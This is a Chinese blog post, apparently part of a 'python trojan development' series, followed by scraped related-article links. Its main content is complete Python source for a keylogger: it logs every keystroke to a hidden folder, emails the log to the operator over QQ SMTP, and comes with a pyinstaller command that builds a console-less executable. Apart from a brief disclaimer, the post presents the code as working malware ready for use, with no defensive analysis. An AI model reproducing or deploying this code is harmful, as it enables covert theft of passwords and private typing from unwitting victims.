请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!!

  1. from pynput.keyboard import Key,Listener
  2. import logging
  3. import os
  4. import smtplib
  5. from email.mime.text import MIMEText
  6. from PIL import ImageGrab
  7. import random
  8. from time import *
  9. from email.mime.multipart import MIMEMultipart
  10. from email.mime.text import MIMEText
  11. from email.mime.image import MIMEImage
  12.  
  13. def send_mail(filename):
  14. file = open(filename,"r",encoding="UTF-8")
  15. data = file.read()
  16. file.close()
  17. msg_from='@qq.com' #发送方邮箱
  18. passwd='' #填入发送方邮箱的授权码
  19. msg_to=''
  20.  
  21. subject="python邮件测试" #主题
  22. content=data
  23. msg = MIMEText(content,"plain","utf-8")
  24. msg['Subject'] = subject
  25. msg['From'] = msg_from
  26. msg['To'] = msg_to
  27. try:
  28. s = smtplib.SMTP_SSL("smtp.qq.com",465)
  29. s.login(msg_from, passwd)
  30. s.sendmail(msg_from, msg_to, msg.as_string())
  31. print( "发送成功")
  32. except:
  33. print("发送失败")
  34. finally:
  35. s.quit()
  36.  
  37. def mkdir(path):
  38.  
  39. path = path.strip()
  40. # 去除尾部 \ 符号
  41. path = path.rstrip("\\")
  42.  
  43. isExists = os.path.exists(path)
  44.  
  45. # 判断结果
  46. if not isExists:
  47.  
  48. os.makedirs(path)
  49.  
  50. # print(path + ' 创建成功')
  51. return True
  52. else:
  53. # 如果目录存在则不创建,并提示目录已存在
  54. # print(path + ' 目录已存在')
  55. return False
  56.  
  57. # 定义要创建的目录
  58. path = "C:\\hola\\"
  59. # 调用函数
  60. mkdir(path)
  61.  
  62. logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
  63.  
  64. def press(key):
  65. logging.info(key)
  66. if key==Key.enter:
  67. return False
  68.  
  69. with Listener(on_press = press) as listener:
  70. listener.join()
  71.  
  72. send_mail(path+"keylog.txt")

打包时候注意了,有些命令层面的错误我就不说了,我这里直接上命令

  1. pyinstaller -F xx.py --hidden-pynput --noconsole

python trojan development 2nd —— use python to send mail and listen to the key board then combine them的更多相关文章

  1. python trojan development 1st —— use python to send mail and caputre the screen then combine them

    import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...

  2. python trojan development 3rd —— use python to creative a simple shell

    前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...

  3. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  4. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  5. Python 3.4 send mail

    #coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...

  6. 【Python网络编程】利用Python进行TCP、UDP套接字编程

    之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...

  7. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  8. python公司面试题集锦 python面试题大全

    问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...

  9. python 2016 大会 pyconsk ppt ---python dtrace

    https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...

随机推荐

  1. hudson搭建经验总结(三)

    作者:朱金灿 来源:http://blog.csdn.net/clever101 在创建hudson账户和分配权限时出错,当单击save按钮时出现 HTTP Status 500 - type Exc ...

  2. sqlplus 上下工具

    http://yunpan.cn/QNXXpjP9aBy6v 訪问password 420b 想在Unix.Linux环境下使用sqlplus,像在win以下一样,实现上下翻页. 怎么办呢? 首先要确 ...

  3. error C2220: 警告被视为错误 - 没有生成“object”文件

    原文:error C2220: 警告被视为错误 - 没有生成"object"文件 这种错误的原因是:原因是该文件的代码页为英文,而我们系统中的代码页为中文.   解决方案: 1. ...

  4. 构建自己的PHP框架(Twig模板引擎)

    完整项目地址:https://github.com/Evai/Aier Twig 模板引擎 模版引擎 twig 的模板就是普通的文本文件,也不需要特别的扩展名,.html .htm .twig 都可以 ...

  5. 从零开始学习 asp.net core 2.1 web api 后端api基础框架(四)-创建Controller

    原文:从零开始学习 asp.net core 2.1 web api 后端api基础框架(四)-创建Controller 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog ...

  6. C类型和存储方式的语言变量

    变量的作用域:有效射程变量 >局部变量 1.在函数中的局部变量,量在该函数结束后自己主动撤销 2.函数内的复合语句中的局部变量(比方for语句),这个变量在复合语句结束后自己主动撤销.这个变量能 ...

  7. .net reactor 学习系列(二)---.net reactor界面各功能说明

    原文:.net reactor 学习系列(二)---.net reactor界面各功能说明         安装了.net reactor之后,可以在安装目录下找到帮助文档REACTOR_HELP.c ...

  8. JDK10下安装Eclipse photon 提示Java for Windows Missing

    这两天把服务器清理了一下,操作系统也重新装了,没办法啊,就是喜欢倒腾...在重新安装软件的时候,我又到各个官网去看了软件的最新版本,其中就去了JDK和Eclipse的官网溜达了一圈. 很久没有更新过自 ...

  9. 关于WPF XAML 中 Trigger的反向ExitActions

    触发器,顾名思义,就是当满足一定条件时,会触发一些操作,比如:改变控件的透明度,显隐,宽高等等,触发器本身做了一些操作,就是触发器触发条件不符合的时候,会自动把在触发器中更改的属性还原.但,并不是所有 ...

  10. Quora的技术探索

    关于问答类的应用,最早接触的是stackoverflow和知乎 ,而Quora作为知乎的原型,因为其创始人来自FaceBook而吸引了我.事实上关于Quora的技术分析,冯大辉和陈皓都已经有所详细的阐 ...